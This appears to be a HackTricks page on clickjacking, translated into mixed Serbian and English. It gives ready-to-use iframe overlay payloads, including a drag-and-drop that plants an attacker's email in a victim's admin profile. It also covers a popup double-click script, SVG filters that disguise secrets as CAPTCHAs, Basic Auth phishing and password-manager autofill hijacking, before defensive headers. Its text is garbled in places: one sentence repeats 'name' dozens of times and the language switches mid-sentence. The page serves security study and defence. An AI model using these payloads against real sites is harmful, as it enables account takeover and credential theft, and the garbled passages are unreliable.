Clickjacking

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je Clickjacking

U Clickjacking napadu, korisnik je prevaren da klikne na element na web stranici koji je ili nevidljiv ili maskiran kao neki drugi element. Ova manipulacija može dovesti do neželjenih posledica za korisnika, kao što su preuzimanje malware-a, preusmeravanje na zlonamerne web stranice, otkrivanje credentials ili osetljivih informacija, transfer novca ili online kupovina proizvoda.

Trik prepopunjavanja formi

Ponekad je moguće popuniti vrednosti polja forme koristeći GET parameters prilikom učitavanja stranice. Napadač može zloupotrebiti ovo ponašanje da popuni formu proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Submit.

Popunjavanje forme pomoću Drag&Drop

Ako želite da korisnik popuni formu, ali ne želite direktno da ga tražite da unese neke specifične informacije (kao što su email i/ili specifična lozinka koju znate), možete ga jednostavno zamoliti da Drag&Drop nešto što će uneti podatke koje kontrolišete, kao u ovaj primer.

Osnovni Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Višestepeni Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Ova tehnika omogućava da se korisnik prevari da klikne na jedno mesto na stranici žrtve, zaobilazeći svaku zaštitu protiv clickjacking. Zato napadač treba da pronađe osetljive akcije koje se mogu izvršiti jednim klikom, kao što su OAuth prompti za prihvatanje dozvola.

Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. The attacker page tracks mousemove and uses a small popup (window.open) that is moved with moveTo() while it is same-origin; once aligned, it is redirected back to the target origin so the next click lands on the real button. Because cross‑origin moveTo() is blocked, the popup is briefly navigated to an attacker origin for repositioning, then location/history.back() returns to the target. To surface the target at click time, the attacker can re‑open the popup with the same window name to bring it to the foreground without changing the URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Moderne Chromium/WebKit/Gecko verzije dozvoljavaju da se CSS filter:url(#id) primeni na cross-origin iframes. Rasterizovani pikseli iframe-a izloženi su SVG filter grafu kao SourceGraphic, pa primitive kao što su feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, itd. mogu proizvoljno izobličiti UI žrtve pre nego što ga korisnik vidi, iako napadač nikada ne dira DOM. Jednostavan Liquid-Glass stil filtera izgleda ovako:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Korisne primitive: feImage učitava napadačeve bitmap-e (e.g., overlays, displacement maps); feFlood pravi maske konstantne boje; feOffset/feGaussianBlur doteruju istaknute delove; feDisplacementMap lomi/izobličava tekst; feComposite operator="arithmetic" implementira proizvoljne po-kanalne matematičke operacije (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), što je dovoljno za pojačavanje kontrasta, maskiranje i AND/OR operacije; feTile seče i replicira pikselske probe; feMorphology uvećava/smanjuje poteze; feColorMatrix premešta lumu u alfa da bi se napravile precizne maske.

Izobličavanje tajni u CAPTCHA-style promptove

Ako endpoint koji se može učitati u frame prikazuje tajne (tokens, reset codes, API keys), napadač ih može izobličiti tako da podsećaju na CAPTCHA i prisiliti ručnu transkripciju:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Iskrivljeni pikseli zavaravaju korisnika da „reši“ captcha unutar attacker-controlled <input> kojim upravlja napadač, čiji pattern name name name name name name name name name name name name name name name name name name name name name name name name name name name name name nametne stvarni tajni podatak žrtve.

Rekontekstualizacija unosa žrtve

Filteri mogu hirurški ukloniti placeholder/validation tekst, a da pri tom sačuvaju korisničke kucaje. Jedan tok rada:

  1. feComposite operator="arithmetic" k2≈4 pojačava osvetljenost tako da sivi pomoćni tekst zasiti u belo.
  2. feTile ograničava radnu oblast na pravougaonik input-a.
  3. feMorphology operator="erode" zadebljava tamne glife koje unosi žrtva i skladišti ih preko result="thick".
  4. feFlood stvara belu podlogu, feBlend mode="difference" sa thick, a drugi feComposite k2≈100 pretvara to u oštar luma matte.
  5. feColorMatrix premesti tu lumu u alfa-kanal, a feComposite in="SourceGraphic" operator="in" zadržava samo glife koje je uneo korisnik.
  6. Još jedan feBlend in2="white" plus tanak crop daje čist textbox, nakon čega napadač preklapa sopstvene HTML labele (npr. „Unesite svoju e-poštu“) dok skriveni iframe i dalje nameće password policy origin-a žrtve.

Safari ima problema sa feTile; isti efekat se može reproducirati prostornim matovima napravljenim od feFlood + feColorMatrix + feComposite za WebKit-only payloads.

Piksel probe, logika i mašine stanja

Krojenjem regiona od 2–4 px pomoću feTile i postavljanjem pločica na 100% viewport-a, napadač pretvara uzorkovanu boju u teksturu pune sličice koja se može pragovati u boolean masku:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.

Napadači mogu stoga da čitaju stanje UI bez JavaScript-a. Primeri boolean vrednosti iz modalnog toka rada:

  • D (dialog visible): ispitajte zamračeni ugao i uporedite sa belom.
  • L (dialog loaded): ispitajte koordinate na kojima se dugme pojavljuje kada je spremno.
  • C (checkbox checked): uporedite piksel checkbox-a sa aktivnom plavom #0B57D0.
  • R (red success/failure banner): koristite feMorphology i crvene pragove unutar pravougaonika bannera.

Svako otkriveno stanje upravlja različitim overlay bitmapom ugrađenim preko feImage xlink:href="data:...". Maskiranje tih bitmapa sa D, L, C, R održava overlay-e sinhronizovanim sa stvarnim dijalogom i vodi žrtvu kroz višestepene tokove rada (resetovanje lozinke, odobrenja, destruktivne potvrde) bez ikada izlaganja DOM-a.

Sandboxovan iframe Basic Auth dijalog (bez allow-popups)

Sandboxovan iframe bez allow-popups i dalje može da prikaže browser-kontrolisani HTTP Basic Authentication modal kada zahtev vrati 401 sa WWW-Authenticate. Dijalog pokreće browserski networking/auth sloj (ne JS alert/prompt/confirm), tako da ograničenja popup-a u sandboxu ne sprečavaju njegovo pojavljivanje. Ako možete da skriptujete iframe (npr. sandbox="allow-scripts"), možete ga navigirati na bilo koji endpoint koji izdaje Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Kada stigne odgovor, browser zatraži kredencijale iako su popups onemogućeni. Framing pouzdanog origin-a ovom tehnikom omogućava UI redress/phishing: neočekivani modalni prompti unutar “sandboxed” widgeta mogu zbuniti korisnike ili navesti password managers da ponude sačuvane kredencijale.

Ekstenzije browsera: DOM-based autofill clickjacking

Osim iframovanja victim stranica, napadači mogu ciljati browser extension UI elemente koji se injektuju u stranicu. Password managers renderuju autofill dropdownove pored fokusiranih input polja; fokusiranjem polja kojim napadač upravlja i sakrivanjem/okludiranjem extension-ovog dropdowna (opacity/overlay/top-layer tricks), prisilni klik korisnika može izabrati sačuvan unos i popuniti osetljive podatke u input polja pod kontrolom napadača. Ova varijanta ne zahteva izlaganje kroz iframe i funkcioniše potpuno preko DOM/CSS manipulacije.

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Strategije za ublažavanje Clickjacking

Odbrane na strani klijenta

Skripte koje se izvršavaju na klijent strani mogu preduzeti mere da spreče Clickjacking:

  • Uveravanje da je prozor aplikacije glavni ili top window.
  • Obezbeđivanje vidljivosti svih okvira.
  • Sprečavanje klikova na nevidljive frameove.
  • Detektovanje i obaveštavanje korisnika o potencijalnim Clickjacking pokušajima.

Međutim, ovi frame-busting scriptovi mogu biti zaobiđeni:

  • Browsers’ Security Settings: Neki browseri mogu blokirati ove skripte na osnovu svojih bezbednosnih podešavanja ili zbog nedostatka podrške za JavaScript.
  • HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms и allow-scripts вредности омогућавају акције унутар iframe-а док онемогућавају навигацију на нивоу врха странице. Да би се обезбедила намеравана функционалност циљане странице, додатне дозволе као што су allow-same-origin и allow-modals могу бити потребне, у зависности од типа напада. Поруке у конзоли прегледача могу указати које дозволе треба додати.

Одбрана на серверској страни

X-Frame-Options

The X-Frame-Options HTTP response header обавештава прегледаче о легитимности приказивања странице у <frame> или <iframe>, помажући у спречавању Clickjacking-а:

  • X-Frame-Options: deny - Ниједан домен не може да убаци садржај у фрејм.
  • X-Frame-Options: sameorigin - Само тренутни сајт може да убаци садржај у фрејм.
  • X-Frame-Options: allow-from https://trusted.com - Само назначени ‘uri’ може да убаци страницу у фрејм.
  • Напомена о ограничењима: ако прегледач не подржава ову директиву, она можда неће радити. Неки прегледачи преферирају CSP frame-ancestors директиву.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors директива у CSP је препоручени метод за заштиту од Clickjacking-а:

  • frame-ancestors 'none' - Слично X-Frame-Options: deny.
  • frame-ancestors 'self' - Слично X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Слично X-Frame-Options: allow-from.

На пример, следећи CSP дозвољава фрејмовање само са истог домена:

Content-Security-Policy: frame-ancestors 'self';

Детаљније информације и сложени примерима могу се наћи у frame-ancestors CSP documentation и Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) са child-src и frame-src

Content Security Policy (CSP) је мера безбедности која помаже у спречавању Clickjacking-а и других напада инјекцијом кода тако што одређује које изворе прегледач сме да користи за учитавање садржаја.

frame-src директива

  • Одређује важеће изворе за фрејмове.
  • Специфичније је од default-src директиве.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ova politika dozvoljava frame-ove iz istog porekla (self) i https://trusted-website.com.

child-src Direktiva

  • Uvedena u CSP level 2 za definisanje važećih izvora za web workere i frame-ove.
  • Deluje kao fallback za frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ova politika dozvoljava frames i workers sa iste origin (self) i https://trusted-website.com.

Napomene o upotrebi:

  • Zastarjevanje: child-src se postepeno ukida u korist frame-src i worker-src.
  • Fallback ponašanje: Ako frame-src nije prisutan, child-src se koristi kao rezervna opcija za frames. Ako oba nisu prisutna, koristi se default-src.
  • Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili zloupotrebu.

JavaScript Frame-Breaking Scripts

Iako nisu potpuno nepogrešive, JavaScript-based frame-busting scripts se mogu koristiti za sprečavanje da se web stranica prikaže unutar frame. Primer:

if (top !== self) {
top.location = self.location
}

Korišćenje Anti-CSRF tokena

  • Validacija tokena: Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje izvršeni namerno od strane korisnika, a ne putem Clickjacked stranice.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks